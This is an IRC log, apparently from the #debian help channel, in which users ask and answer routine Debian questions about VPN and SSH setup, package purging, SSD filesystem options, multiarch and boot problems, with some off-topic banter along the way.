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| 16:25.02 | debian-n00b | jhutchins_wk: any ideas? |
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| 16:27.16 | nevyn | that's the one I ment |
| 16:27.23 | nevyn | did you just add yourself to it? |
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| 16:34.27 | Ryushin | Finally got xchat to work with Tor. Got to admit that I'm impressed. |
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| 16:35.22 | Ryushin | Iceweasel also works well using the FoxyProxy plugin. |
| 16:35.28 | daemonkeeper | By the feeling of the Internet as if it was 1997? |
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| 16:39.29 | Some_Person | Is there any way I can check if my laptop is plugged in using SSH? |
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| 16:39.58 | nkuttler | Some_Person: acpi? |
| 16:40.04 | daemonkeeper | acpi -a |
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| 16:40.55 | Elouin_ | When i try to install an i386 on my amd64 system he says that i have held broken packages. What should i do? |
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| 16:41.06 | Elouin_ | *i386package |
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| 16:42.36 | safeith | nevyn: no, it's added in pkg installation duration |
| 16:43.34 | dizzylizzy | I'd like to get my openvpn service working. I am using GNOME 3.4 with sid. All the correct software is installed, and the vpn is configured correctly in the network manager, but when I click to turn the VPN "on", it does nothing,and then reports being "off". I can use "openvpn profilename.ovpn" from the command-line and it reports successful connection, but I cannot connect to the internet afterward, though I have two or three times managed a few |
| 16:43.34 | dizzylizzy | <PROTECTED> |
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| 16:45.26 | dizzylizzy | It's frustrating that the ubuntu installation script they provided "just works" in 12.04 on the livecd I used, though the script does nothing special that I haven't done manually; the script successfully installs the profiles in the network manager for me on Debian, but I still cannot seem to work through the vpn even if I can connect to it. Even the windows computer my partner uses manages this without problem, and I'm at a loss why windows and |
| 16:45.27 | dizzylizzy | ubuntu would work for this but not debian. What's the next step I can take? |
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| 16:46.14 | dizzylizzy | Where can I find some error messages that might help point me in the right direction, because I have yet to encounter one... just failure to operate. |
| 16:46.24 | jhutchins_wk | debian-n00b: Is the config file re-read every day? |
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| 16:50.15 | teraflops | sid? ubuntu? ... |
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| 16:52.18 | jhutchins_wk | dizzylizzy: Have you tried this with stable? |
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| 16:55.09 | Alina-malina | Hello all! I want to remotely connect to my server at home and access various ssl webpages, please tell me should i use opnvpn or ssh connection to my remote debian server stored at home? |
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| 16:55.36 | dizzylizzy | jhutchins_wk, I do have stable installed on my powerpc laptop, let me give that a whirl |
| 16:56.09 | mgriffin | if i "dpkg -l foo-bar" on a package i needed just temporarily and someone else uninstalled it for me, how can i get it out of "un" state? i tried dpkg --purge but it says not installed |
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| 16:59.44 | mgriffin | ah, this is ubuntu, which perhaps matters :/ |
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| 17:00.23 | ksuhku | mmm. ooboontooo |
| 17:00.25 | ksuhku | !ubuntu |
| 17:00.25 | dpkg | Ubuntu is based on Debian, but it is not Debian. Only Debian is supported on #debian. Use #ubuntu on chat.freenode.net instead. Even if the channel happens to be less helpful, support for distributions other than Debian is offtopic on #debian. See also <based on debian> and <ubuntuirc>. |
| 17:00.46 | peterrooney | mgriffin: it totally matters; this is an incorrect forum for ubuntu questions. |
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| 17:04.00 | mgriffin | peterrooney: yeah, i understand and pointed that out myself |
| 17:05.37 | wooy | Hi, I did apt-get --purge remove nginx, but there is still /etc/nginx dir. Should not it be gone? |
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| 17:08.06 | berarma | wooy: apt doesn't remove non-empty directories |
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| 17:08.33 | mullein | wooy, perhaps also purge nginx-common? |
| 17:08.37 | wooy | ok, so whats the command to completely remove package (config, logs, etc?) |
| 17:08.49 | dizzylizzy | wait, this is oldstable. I'll get wheezy running in a vm to test |
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| 17:10.29 | jhutchins_wk | dizzylizzy: What's hosting the VM? |
| 17:10.55 | berarma | wooy: you did it right but it just config files belonging to the package, you may have some other file there. |
| 17:11.22 | dizzylizzy | jhj, sid |
| 17:11.29 | dizzylizzy | I'll put wheezy on a separate partition I suppose |
| 17:11.39 | wooy | berarma, mullein: nginx-common did it. thx |
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| 17:11.53 | dizzylizzy | hooray for logical volumes |
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| 17:15.26 | nc90 | hi |
| 17:15.53 | nc90 | guys i have this problem --> http://pastebin.com/nctXHqPZ |
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| 17:15.57 | nc90 | who can help me? |
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| 17:17.13 | histo | nc90: http://www.debian-administration.org/articles/207 |
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| 17:18.04 | jhutchins_wk | dizzylizzy: I would not consider that a valid test. |
| 17:18.16 | dizzylizzy | jhutchins_wk, what do you recommend |
| 17:18.19 | histo | nc90: basically create the config files in /etc/apache2/sites-available/ and enable them with a2ensite somesite |
| 17:18.58 | nc90 | histo: but i have to add each site manually |
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| 17:19.23 | nc90 | histo: is there an automagically way? :) |
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| 17:20.06 | eptalon | heyas |
| 17:20.43 | eptalon | on sid/unstable, flashplayer maxes out at 100% cpu, using iceweasel. |
| 17:21.19 | eptalon | is this a known bug |
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| 17:21.53 | dizzylizzy | jhutchins_wk, why invalid? |
| 17:22.15 | dizzylizzy | eptalon, flash does this sometimes, yeah |
| 17:22.31 | eptalon | dizzylizzy: as in regularly. |
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| 17:23.14 | dizzylizzy | everyone i've talked to says this happens on all platforms in all browsers that operate with flash |
| 17:23.20 | dizzylizzy | usually not very often, sometimes more often |
| 17:23.33 | dizzylizzy | I'm not very helpful :( |
| 17:24.10 | eptalon | you could tell me that if i use the non-adobe-stuff I work around the problem |
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| 17:25.30 | fwilson | hello |
| 17:25.51 | fwilson | i'm trying to set up an ldap server with debian but dpkg says http://pastebin.com/P33QpGd7 |
| 17:25.52 | dizzylizzy | eptalon, I'll go ahead and assume that for your purposes non-adobe flash won't do what you need flash to do |
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| 17:27.10 | RxDx | please, I just downloaded and installed boost library (via tarball, not apt-get) but my shared libraries stay located where I extracted the boost lib tarball (ex, /home/$USER/Documents/boost)... How can I export those *.so (shared libs) to my enviroment variable? |
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| 17:33.33 | kristijonas | Hello, I just randomly received a notification that someone is wanting to view my desktop... from and ip address which is even not from my country.. |
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| 17:35.31 | Sulfurix | accept it |
| 17:35.32 | Sulfurix | then put on porn |
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| 17:37.15 | mgriffin | Sulfurix: welcome to bash.org |
| 17:37.24 | mgriffin | ;) |
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| 17:40.21 | kristijonas | Sulfurix, nah, i'm a bit scared :D |
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| 17:40.29 | Sulfurix | put on some hard gay porn |
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| 17:40.51 | Sulfurix | then open up a document and write "ASL?" |
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| 17:43.44 | abrotman | kristijonas: so don't accept it .. what's the problem ? |
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| 17:44.07 | mgriffin | what was even listening for this request? |
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| 17:45.08 | kristijonas | abrotman, i did not I am now worried about my security. that IP address is listed in blacklist of http://www.uceprotect.net/ |
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| 17:46.55 | abrotman | kristijonas: okay .. so fix your firewall .. i don't see why this is confusing |
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| 17:53.53 | ledestin | CONFIG_BLK_DEV_LOOP=m, what does m mean? |
| 17:54.03 | kristijonas | anyways, is vncserver install by default in wheezy? |
| 17:54.12 | kristijonas | installed* |
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| 17:59.50 | ezra-s | ledestin, check in #kernel |
| 18:00.04 | ledestin | ezra-s: ok, thanks |
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| 18:00.44 | ezra-s | ledestin, my bet would be a loop device for mounting in a loop but I'm no expert |
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| 18:01.04 | ledestin | ezra-s: I mean, it should be y or n, but it's m! |
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| 18:01.39 | ezra-s | ledestin, m=module |
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| 18:01.57 | ezra-s | ledestin, you didn't know m=module? |
| 18:02.04 | ledestin | ezra-s: hmm, ok, got it! |
| 18:02.30 | ezra-s | ledestin, before going ahead you should read a bit about kernel compiling |
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| 18:02.35 | Marqin | hm |
| 18:02.53 | Marqin | do you use grsecurity from packages or patch it manually? |
| 18:03.06 | ezra-s | ledestin, unless absolutely necessary one should choose M instead of Y to not end up with huge kernel image, but anyways we're offtopic here |
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| 18:03.11 | ledestin | ezra-s: I don't need to compile kernel, just a module that needs this flag to be n |
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| 18:16.23 | dizzylizzy | Hey, so, I forgot to add the installer component of an sshd before starting installation and now the net installer for wheezy is at the stage where it's downloading over a thousand packages for installation... can I add the ssh server installer component manually from the command line at this point? |
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| 18:17.10 | dizzylizzy | I'd really like to be able to access the files on my other partitions from my laptop using ssh |
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| 18:19.26 | tharkun | dizzylizzy: AFAIK no, you will have to wait. Or start all over. Anyway you can allways apt-get install openssh-server |
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| 18:21.26 | dizzylizzy | tharkun: after the installation's finished I suppose |
| 18:21.45 | dizzylizzy | well I mounted my other partitions and did a chroot, that opens up some options |
| 18:22.18 | nkuttler | dizzylizzy: fwiw, you could just kill the install process i guess |
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| 18:23.21 | dizzylizzy | nkuttler: after all these downloads? it's been an hour and I have another hour to go |
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| 18:23.32 | nkuttler | dizzylizzy: the files are cached |
| 18:24.00 | nkuttler | digitalirony: make sure not to kill the installer itself though, just the apt/whatever process |
| 18:24.14 | nkuttler | digitalirony: never mind |
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| 18:34.23 | Alina-malina | Hello all! I want to remotely connect to my server at home and access various ssl webpages, please tell me should i use opnvpn or ssh connection to my remote debian server stored at home? |
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| 18:35.48 | nkuttler | Alina-malina: it's really up to you. i don't see why you need a vpn or ssh though |
| 18:36.02 | Alina-malina | i want to contact my computer remotely thats why i guess:) |
| 18:36.05 | nkuttler | https with basic auth or something should do |
| 18:36.11 | Alina-malina | and browse internet throuh my ip address |
| 18:36.11 | Alina-malina | at home |
| 18:36.21 | nkuttler | Alina-malina: ah |
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| 18:37.02 | Alina-malina | i want to access securely to such places like facebook, paypal and other private information places from my home and not from other internet cafes, or other hotspots |
| 18:37.06 | nkuttler | Alina-malina: no idea tbh, but my first thought would be to configure a proxy |
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| 18:37.30 | Alina-malina | no VPN or ssh only as they encrypt the traffic, but i dont know which one to pick up |
| 18:37.36 | nkuttler | Alina-malina: well that's more complex, if you use untrusted computers.. |
| 18:37.55 | Alina-malina | i use untrusted internet i always use my computer, it is with me all the time |
| 18:37.59 | nkuttler | neither vpn nor ssh helps if somebody has a keylogger or something |
| 18:38.02 | ezra-s | Alina-malina, I use ssh precisely for that, no need for vpn setup or anything, a simple tunnel handles it all |
| 18:38.10 | nkuttler | Alina-malina: but there are things like otp |
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| 18:38.23 | daem0n | you can just leave ssh open and tunnel your browser through it |
| 18:38.24 | Alina-malina | ezra-s, do you setup any ca certs manualy for ssh? |
| 18:38.41 | teraflops | ssh dirty tunneling works fine Alina-malina |
| 18:39.13 | nkuttler | Alina-malina: keep in mind that your password/keys can be logged |
| 18:39.14 | Alina-malina | and i will not have any problems with ssl certificates? |
| 18:39.18 | SerajewelKS | in postfix, are recipient restrictions applied to mail coming from the empty sender (<>)? |
| 18:39.20 | nkuttler | Alina-malina: certs are usually generated during install |
| 18:39.20 | Alina-malina | loged where? |
| 18:39.25 | Alina-malina | with ssh? |
| 18:39.29 | nkuttler | Alina-malina: on an attacker's box |
| 18:39.30 | ezra-s | Alina-malina, no need, you just install a ssh server in your home, and make sure your dsl router or whatever you have forwards the necessary port to the box you are going to use as a gateway |
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| 18:39.37 | Alina-malina | if i use my computer with ssh how they can atack? |
| 18:39.40 | SerajewelKS | i have a cbl test in my recipient restrictions, and mail from <> seems to be getting through that even though the connecting IP is listed in the CBL |
| 18:39.47 | nkuttler | Alina-malina: oh, you bring your computer. yes, easy then |
| 18:40.15 | Alina-malina | yes i dont trust other computers, as i know many people preinstalled keyloggers on their computers, so i dont touch their computers |
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| 18:40.30 | Alina-malina | even to not leave a fingerprint, i think keylogger is discusting thing |
| 18:40.48 | Alina-malina | i will choose ssh then |
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| 18:41.02 | Alina-malina | i hope it will be as safer as VPN |
| 18:41.06 | daem0n | Alina-malina, you might consider denyhosts too |
| 18:41.18 | Alina-malina | what denyhosts? |
| 18:41.53 | daem0n | it adds a layer of security |
| 18:42.05 | daem0n | prevents dictionary attacks |
| 18:42.10 | Alina-malina | oh it is a separate soft? |
| 18:42.17 | daem0n | yep |
| 18:42.24 | Alina-malina | dictionary attacks agaiinst ssl certificates? |
| 18:42.42 | daem0n | against your ssh |
| 18:42.44 | Alina-malina | ok thanks, i will consider that so ssh+denyhosts |
| 18:42.48 | Alina-malina | oh |
| 18:42.54 | Alina-malina | i should install that on server at home |
| 18:43.08 | daem0n | ya I would |
| 18:43.19 | Alina-malina | ok thank you so much! |
| 18:43.24 | daem0n | :) |
| 18:43.43 | Alina-malina | what about paypal? is it ok to use it with paypal too? the ssh connection remotely? |
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| 18:43.49 | Alina-malina | will they block my account? |
| 18:44.15 | Alina-malina | sometimes i have to access it to transfer money, so i need to be sure it is safe to use with pp as well |
| 18:44.38 | ezra-s | Alina-malina, I think you should get some background information before trying to do things you don't understand |
| 18:44.53 | Alina-malina | what you mean? |
| 18:45.04 | daem0n | yea it'll be fine |
| 18:45.22 | ezra-s | I mean you want to be build the 10th floor before the 1st has been constructed |
| 18:45.44 | Alina-malina | i want a simple ssh connection to my computer ezra, i dont understand what floors you are talking about |
| 18:45.55 | daem0n | security is the foundation |
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| 18:46.14 | Alina-malina | you mean firewall? |
| 18:46.41 | ezra-s | Alina-malina, nothing floors me.. it's just that you need some background before trying to ask things beyond your comprehension because you don't understand other more basic things |
| 18:46.43 | daem0n | have at least a firewall and denyhost |
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| 18:47.06 | Alina-malina | ok daem0n thanks for help |
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| 18:48.47 | daem0n | there is more you should do though |
| 18:48.55 | Alina-malina | ? |
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| 18:50.19 | daem0n | http://www.debian.org/doc/manuals/securing-debian-howto/ch4.en.html |
| 18:50.19 | Alina-malina | daem0n, please tell me one more thing, if i rent a VPS, can i connect to it and access website with ssh? |
| 18:50.37 | daem0n | yep |
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| 18:51.43 | greenland | if it's possible to brick a Surface Pro with a Debian install, I think I did it. |
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| 18:54.31 | ezra-s | greenland, you can't brick hardware with a debian install, that thing has UEFI? |
| 18:55.28 | greenland | oh yeah, it's the 'secure boot' nonsense, i turned that off... installed ubuntu just fine... something went awry with debian install though and now i've grub rescue> |
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| 18:57.00 | mns | how do I get rid of gnome-core and the packages it depends on ? I want to get rid of everything for XFCE, LXDE, and GNOME. |
| 18:57.19 | ompaul | mns: get rid of or a fresh install? |
| 18:57.24 | mns | get rid. |
| 18:57.39 | ompaul | why not a clean install with none of the above ... (most likely faster) |
| 18:57.43 | ezra-s | greenland, exactly |
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| 18:58.17 | reavengrey | hwy what is the debain package name |
| 18:58.20 | reavengrey | for open office? |
| 18:58.24 | mns | ompaul: already have things configured the way I need it, dont need/want GNOME, XFCE, LXDE |
| 18:58.25 | reavengrey | or open indiana or w/e? |
| 18:58.32 | reavengrey | v openoffice |
| 18:58.35 | reavengrey | ,v openoffice |
| 18:58.36 | judd | No package named 'openoffice' was found in i386. |
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| 18:58.42 | reavengrey | ,v openindiana |
| 18:58.43 | judd | No package named 'openindiana' was found in i386. |
| 18:58.50 | greenland | ezra-s: issue being, I can't seem to convince it to boot from usb without telling windows to do it |
| 18:58.54 | mns | ,v openoffice.org |
| 18:59.00 | judd | Package: openoffice.org on i386 -- squeeze: 1:3.2.1-11+squeeze8; squeeze-security: 1:3.2.1-11+squeeze8; wheezy: 1:3.4.0~ooo340m1-7 |
| 18:59.02 | ompaul | mns: start with this apt-get autoremove –purge gnome* and think your way though the rest :) |
| 18:59.03 | reavengrey | k, thanks :) |
| 18:59.15 | mns | ompaul: thanks |
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| 18:59.24 | ezra-s | greenland, I've got no experience with UEFI, sorry |
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| 18:59.39 | ompaul | mns: you might want to remove gdm3 also |
| 18:59.43 | mns | reavengrey: you probaby want to go with libreoffice. |
| 18:59.45 | uwjesd | Hello. How can I reconfigure a package as if it was installed fresh? |
| 18:59.53 | ezra-s | greenland, although there is a little guide in the ubuntu web page for installs with UEFI bios, it might come handy for you, let me check it out |
| 19:00.17 | greenland | ezra-s: if it involves having a bootable system, wont help |
| 19:00.18 | ezra-s | greenland, https://help.ubuntu.com/community/UEFI |
| 19:00.30 | ezra-s | check it out, it might be useful to you |
| 19:00.43 | greenland | ty |
| 19:01.16 | mns | ompaul: sadly .. thats the one piece of gnome that I need apparently. the damned cisco vpn client I have to use for work otherwise thinks I've got multiple users on the system if I use XDM or slim :( I didn't know about autoremove. I'll see how that goes and work around it. |
| 19:01.21 | Eduard_Munteanu | Can the network interfaces autoconfigure, without me having to mention them in /etc/network/interfaces? (mind this is a minimal build I debootstrapped, no NetworkManager) |
| 19:01.58 | Eduard_Munteanu | I'm planning on letting it get a LL IPv6 address which I could multicast-ping to discover it from another machine. |
| 19:02.00 | mns | Eduard_Munteanu: just set the interface to auto in /etc/network/interfaces ... |
| 19:02.02 | ompaul | mns: read it before you say yess |
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| 19:02.23 | Eduard_Munteanu | mns: I don't know the interface name yet |
| 19:02.23 | mns | ompaul: will do. not going to blindly say yes :) |
| 19:02.46 | mns | Eduard_Munteanu: how many interfaces do you have ? wifi ? ethernet ? |
| 19:03.07 | Eduard_Munteanu | mns: currently only one, Ethernet |
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| 19:03.21 | mns | Eduard_Munteanu: that's going to be interface eth0 |
| 19:03.50 | Eduard_Munteanu | mns: is it? I thought a lot of distros migrated to persistent naming schemes |
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| 19:04.00 | uwjesd | No way to reconfigure installed packages to reset the config compleately? |
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| 19:04.15 | xeon123 | How can I install wxWidgets in squeeze? |
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| 19:04.38 | xeon123 | I get Failed to fetch http://apt.wxwidgets.org/dists/wheezy-wx/main/source/Sources 404 Not Found |
| 19:04.55 | mns | Eduard_Munteanu: some may have. but as far as I can tell Debian doesn't do that yet. eth0 works just fine for me. do ifconfig and see what you get, use that as the name /etc/network/interfaces. |
| 19:05.14 | uwjesd | Well thanks for nothing then. |
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| 19:05.27 | Eduard_Munteanu | Yeah, but I don't know the interface name yet. |
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| 19:08.08 | mns | Eduard_Munteanu: what do you get for the output of ifconfig ? |
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| 19:08.55 | Eduard_Munteanu | mns: I'm creating a Raspbian install in a chroot on my computer, for a Raspberry Pi, using user qemu emulation. :) |
| 19:09.23 | Eduard_Munteanu | mns: I wanted to pre-config it such that the interfaces go up on the first boot, and I get ssh access |
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| 19:18.11 | ntnd | Hey, which filesystem is recommended for SSDs? Considering life expectancy fore most |
| 19:18.30 | dizzylizzy | Hey cool kids. So I'm installing Debian Wheezy right now in the logical partition /dev/vg0/stable... i have a /boot partition on my system but that's /dev/sda1 and I use it for sid. Where should I install grub in this installation? Do I have to install grub at all? Would I just update grub in sid to allow booting into my stable installation? |
| 19:18.31 | Eduard_Munteanu | ntnd: a read-only filesystem :P |
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| 19:19.04 | ntnd | Eduard_Munteanu: I don't think that's good enough :D |
| 19:19.40 | mns | ntnd: write-once, read-many FS ? :) wait that sounds like Java, never mind. |
| 19:20.40 | Eduard_Munteanu | ntnd: maybe you could try F2FS? |
| 19:21.34 | Eduard_Munteanu | There are a few filesystems which are purportedly designed to operate better on SSDs, however I don't know if they optimize lifespan. |
| 19:22.03 | mns | Eduard_Munteanu: I think for your network interface, you should be fine with entering eth0. |
| 19:22.18 | ntnd | Eduard_Munteanu: I' |
| 19:22.37 | ntnd | Eduard_Munteanu: * I've read ext4 is bad for life span so that's why I'm asking |
| 19:22.44 | ksuhku | dizzylizzy, I believe you can install grub on the mbr and it will detect sid |
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| 19:26.26 | haole | hey... pressing the wifi button in my samsung laptop gives me the following output in dmesg: |
| 19:26.27 | haole | [ 2061.757194] atkbd serio0: Unknown key pressed (translated set 2, code 0xd5 on isa0060/serio0). |
| 19:26.28 | haole | [ 2061.757207] atkbd serio0: Use 'setkeycodes e055 <keycode>' to make it known. |
| 19:26.45 | haole | is there an existing keycode to make Debian understand it as a wifi switch? |
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| 19:30.55 | ksuhku | haole, does the wifi work? |
| 19:31.20 | ntnd | babilen: You here? |
| 19:31.25 | haole | ksuhku: yeah, but I want to disable it because it causes interference with everything in my environment |
| 19:31.31 | haole | bluetooth, wireless devices... it's a nightmare |
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| 19:31.38 | oitofelix | Hello all. It there a way to use apt-get with a possible https mirror? In affimative case, which are the mirrors supporting that protocol? |
| 19:31.38 | haole | I'm looking for the source of interference |
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| 19:31.42 | ksuhku | haole, does xev see the key? |
| 19:32.10 | haole | ksuhku: no, only dmesg |
| 19:32.27 | haole | is this supposed to just work at kernel level? |
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| 19:34.20 | ksuhku | haole, on my box for all I know it's all hardware, kernel doesn't see it at all |
| 19:34.46 | ksuhku | haole, if you can make xev see it, you could bind it to rfkill |
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| 19:38.09 | ksuhku | !tell haole about rfkill |
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| 19:41.05 | ksdncv | hello, wasnt there a libjit package some years ago? |
| 19:41.28 | babilen | ntnd: hmm? |
| 19:41.31 | ksdncv | or am remembering wrong? |
| 19:41.48 | ntnd | babilen: Great, I've got a question regarding SSDs (I'm in the act of installing) |
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| 19:42.01 | babilen | Just ask the channel, but shoot away |
| 19:42.03 | th0r | steve |
| 19:42.07 | ntnd | babilen: Which filesystem should I use and I remember you suggested some options, discard and one more |
| 19:42.51 | babilen | ntnd: I am pretty conservative (but not too conservative) and simply chose ext4 ... The mount options I mentioned were discard and relatime |
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| 19:43.44 | gp5st_ | https://www.debian.org/ doesn't work. is this a problem or is there no https site? |
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| 19:43.57 | babilen | ntnd: http://wiki.debian.org/SSDOptimization (but I have no idea how relevant/accurate that article is) -- On top of that I use unburden-home-dir (don't forget to configure it after installing) and that's about it |
| 19:44.00 | ntnd | babilen: Discard enables TRIM but relatime adds additional writes, is this correct? |
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| 19:45.33 | oitofelix | The apt.conf man page confirms that apt supports the HTTPS protocol. Is there any repository mirror providing such protocol? |
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| 19:46.25 | babilen | ntnd: It doesn't add additional writes, it cuts down on writes while still maintaining usable information about access times (which is why I prefer it over noatime) -- Just google for "relatime" and/or "notime" and you should find plenty of articles that discuss this. |
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| 19:46.34 | ksdncv | ntnd be careful also with transactional filesystems (ext3, and most probably ext4 too) they will perform more writes for their transaction logs. You have to choose between saving writes or more robust filesystem. |
| 19:47.39 | babilen | ntnd: https://lkml.org/lkml/2007/8/10/200 is an excellent discussion of the topic (but you can trust me and accept that relatime is a good comprimise between atime and noatime) |
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| 19:48.17 | babilen | ntnd: Most modern SSDs are quite fine and won't die after a year with standard options anyway |
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| 19:48.42 | JordiGH | In gnome classic, when I hit the volume up media key, it messes with my alsa mixer settings and jacks them up all to the max. |
| 19:48.43 | ksuhku | gp5st_, looks like a problem to me or at least it used to be there http://wayback.archive.org/web/*/https://www.debian.org/ |
| 19:48.50 | JordiGH | Can you guys figure out how to debug that? |
| 19:49.02 | JordiGH | wants to blame pulseaudio. |
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| 19:49.08 | JordiGH | Can we destroy pulseaudio? |
| 19:49.15 | ksuhku | we can try |
| 19:49.22 | ntnd | babilen: I don't know, I've read a lot of horror stories so I'm pretty cautious |
| 19:49.26 | JordiGH | ksuhku: I like your attitude. |
| 19:49.27 | WormFood | how does one make suggestions or "bug fixes" for the debian wiki? |
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| 19:49.36 | JordiGH | WormFood: One edits the wiki. |
| 19:49.40 | JordiGH | WormFood: Like every other wiki. |
| 19:49.54 | WormFood | it is publicly editable? |
| 19:49.57 | ksdncv | ntnd on my laptop have also an ssd, 6 years old, ext2 with relatime and still working fine |
| 19:50.04 | JordiGH | WormFood: Yes, that's the whole point of having a wiki. |
| 19:50.04 | ksuhku | good nite, don't let the bed bugs bite |
| 19:50.05 | ksdncv | if that helps |
| 19:50.33 | ntnd | ksdncv: Would you say ext4 is safe as well? |
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| 19:50.56 | ksdncv | can't tell about ext4 since it wasnt a choice back then, dont know much about it actually |
| 19:50.58 | WormFood | JordiGH, I need an account to edit pages |
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| 19:51.45 | ksdncv | not a choice not because it was bad, but because it didnt even exist iirc |
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| 19:52.13 | fnmueller | ksdncv: it's easy. It makes sense to make the change to ext4, but you can't go back |
| 19:52.53 | boudiccas | ext4 is now the default for wheezy |
| 19:53.36 | ntnd | Seems ext2 doesn't support TRIM http://www.overclock.net/t/947290/tuning-an-ssd-in-linux |
| 19:53.36 | Vicissitude | you can change to ext4? |
| 19:53.39 | babilen | fnmueller: Note that some ext4 options can only be specified during file system creation and not during the ext3 → ext4 transition |
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| 19:53.52 | JordiGH | WormFood: So create one. |
| 19:54.04 | WormFood | thats what I'm doing right now |
| 19:54.41 | fnmueller | babilen: I know, however, I presumed those were options not available in >=ext3 anyways |
| 19:55.00 | ksdncv | ntnd that seems nice, too bad wasnt available back then |
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| 19:55.20 | fnmueller | Vicissitude: yes, google is like full of it |
| 19:55.23 | Vicissitude | fnmueller, thanks |
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| 19:56.34 | ntnd | I think I'll go with ext4 and relatime, I've often thought that having a last access time would be nice (and didn't even knew this existed!) and relatime seems to be a good balance between noatime and atime |
| 19:56.38 | babilen | ntnd: Well, you know my recommendation. Have fun ;) |
| 19:57.12 | ntnd | Thanks everybody for the help! |
| 19:57.13 | fnmueller | babilen: actually, now that I have reread some manpages it makes sense to always create an ext4 from scratch as only new files will be handled as ext4 files. The old ones would be treated like ext3 effectively |
| 19:57.46 | fnmueller | as one needs to make a backup anyways, I would recommend to recreate the filesystem |
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| 20:04.49 | babilen | fnmueller: yeah, exactly |
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| 20:06.04 | acu | I feel like a total newbie - I have a Gigabyte MB with Realtek r8168 NIC, I run wheezy amd64 on a amd 8 core - everything runs fine, except the REALTEK card - I compiled the driver, tried everything under the sun, it just do not get dhcp - does not work - I know it almost sound ranting, I have to get together and see what exactly is going on - again, in windows the REALTEK works,, and in the same box I have a NIC Marvell - that works |
| 20:06.05 | acu | <PROTECTED> |
| 20:06.11 | pskosinski | I'm getting error when trying to install mysql-server in squeeze: http://paste.debian.net/11401/ Any tip? |
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| 20:07.22 | acu | Maybe I missed something in EFI bios ? |
| 20:07.55 | gp5st_ | pskosinski have you tried deb-pkg --reconfigure (not at a machine so i can't quote the actual command:() |
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| 20:09.18 | pskosinski | gp5st_: I just tried and then I am getting: mysql-server is broken or not fully installed |
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| 20:09.34 | pskosinski | I tried to purge mysql-server* and then install again, same error |
| 20:09.55 | gp5st_ | what' happens when you do an apt-get upgrade? |
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| 20:10.50 | gp5st_ | hmmm |
| 20:10.58 | gp5st_ | I'm not sure then:( |
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| 20:16.38 | DebianTaco | anyone else having their webcam randomly turning on and off in sid? or should I be paranoid the NSA is watching me? haha |
| 20:18.35 | WormFood | DebianTaco, the nsa uses the hidden webcam, they don't tell you about, to spy on you. |
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| 20:19.27 | DebianTaco | WormFood, yeah probably. I just noticed it started doing it recently after i did a upgrade |
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| 20:19.53 | guardian | hello, to which release does this apply http://wiki.debian.org/ReleaseGoals/RunDirectory ? wheezy or sid? |
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| 20:23.20 | studious | I wonder what verison of WireShark the NSA is using to sniff all US internet traffic |
| 20:24.04 | studious | WireShark -v NSA 0wn3d |
| 20:24.25 | SWAT | installing libc6:i386 removes almost all amd64 packages on my system. I just wanted multiarch and need some 32-bit packages (libraries etc.). What am I overlooking? |
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| 20:27.37 | jordanm | SWAT, does apt-get install -f also try to remove many packages? |
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| 20:28.19 | SWAT | jordanm: nope, that's all fine |
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| 20:29.02 | jhutchins_wk | SWAT: You're overlooking the fact that multiarch is still pretty much carve-it-by-hand. |
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| 20:29.56 | ntnd | Should one use LVM or not for a /, /home and /swap scheme? |
| 20:30.34 | jhutchins_wk | ntnd: I don't like it, but all the popular guys do. |
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| 20:31.26 | SWAT | jhutchins_wk: do you mean updating package(s) to support multiarch? (or, as in my case, using those packages) |
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| 20:32.36 | SWAT | the strange thing, this worked. First ia32-libs disappeared, being replaced with multiarch, thus I migrated to libc:i386 etc. and it worked fine until the last updates. |
| 20:33.16 | SWAT | can I check somewhere which packages are being replaced/rebuild/recompiled currently? (btw, I use unstable :) ) |
| 20:34.18 | jhutchins_wk | SWAT: What release are you on? |
| 20:34.29 | jhutchins_wk | Ah. |
| 20:34.47 | pskosinski | Eh, that thing with MySQL was my fault, wrong permissions for /var, it could write to logs something about permissions… |
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| 20:35.16 | jhutchins_wk | SWAT: Almost seems like unstable might not be stable. Like maybe they're IN THE PROCESS OF CHANGING THINGS LIKE THAT. |
| 20:35.38 | jordanm | or simply introducing barely-tested code |
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| 20:35.51 | jhutchins_wk | jordanm: Or not all the code is there yet. |
| 20:36.23 | SWAT | gotcha, thought that might be the case, thanks for the confirmation! |
| 20:36.47 | jhutchins_wk | SWAT: It's not a certainty, but certainly a suspicion. After all, that's what sid is for. |
| 20:37.10 | jhutchins_wk | Multiarch is still a work in progress. |
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| 20:37.48 | SWAT | I'm a bit spoiled, I'm used to run unstable and to it being very stable. Thanks for the reminder and effort! |
| 20:39.49 | ompaul | pokes SWAT in the ribs with a picture postcard of prague |
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| 20:40.14 | SWAT | ompaul! |
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| 20:40.25 | ompaul | the one and the same :) |
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| 20:46.16 | guardian | before upgrading to wheezy, I had /var/run/php5-fpm (which was persistent across reboots). now that I upgraded to wheezy, can someone point me to the recommended way to either create /var/run/php5-fpm at boot (before php5-fpm launches) or recommend me another way to configure the location of php5-fpm sockets? |
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| 20:49.09 | ntnd | Does TRIM work if you use LVM? I don't see an option for discard in the installer |
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| 20:50.21 | petn-ran1all | ntnd: The filesystem informs the LVM, LVM checks which PV it is and send an ATA TRIM. |
| 20:50.58 | ntnd | petn-ran1all: So I will have to edit the fstab after installation to add discard? |
| 20:51.34 | Eduard_Munteanu | What does "trunk" mean in linux-image-3.6-trunk-rpi? |
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| 20:53.56 | petn-randall | Eduard_Munteanu: normally "tip of development", but I don't see that package anywhere in Debian ... |
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| 20:54.16 | Eduard_Munteanu | petn-randall: it's in the Raspbian repos, I should've said so |
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| 20:54.41 | Eduard_Munteanu | petn-randall: maybe it was latest Git as of some unknown date? 3.6 is old already though |
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| 20:55.10 | petn-randall | Eduard_Munteanu: Probably, can't say. |
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| 20:55.21 | kingsley | Do you use an open source flash player? If so, which one? |
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| 20:56.17 | petn-randall | kingsley: I use the closed-source Adobe one, gnash never worked good enough for me (might be different now, was a few years ago). |
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| 20:58.01 | kingsley | petn-randall: Yes, I think it may be different now. I installed gnash a few days ago. It hardly worked at all. It played about the first two frames of a youtube video of RMS singing the free software song, with no audio. |
| 20:58.55 | DebianTaco | u can copy/paste a youtube url into vlc and it will play |
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| 20:59.35 | DebianTaco | plays a hell of alot better than with flash player |
| 20:59.47 | petn-randall | kingsley: Luckily youtube has most videos HTML5, you can get along without flash :) |
| 21:00.07 | zykotick9 | petn-randall: "most" i hardly think so... |
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| 21:00.44 | zykotick9 | petn-randall: i don't think i can play "most" youtube videos with html5 & gnash... and adding gnash plays a lot more videos |
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| 21:00.55 | kingsley | petn-randall: That's interesting. If I ask you nicely, could you please elaborate a little on how to watch youtube videos encoded with HRML5? |
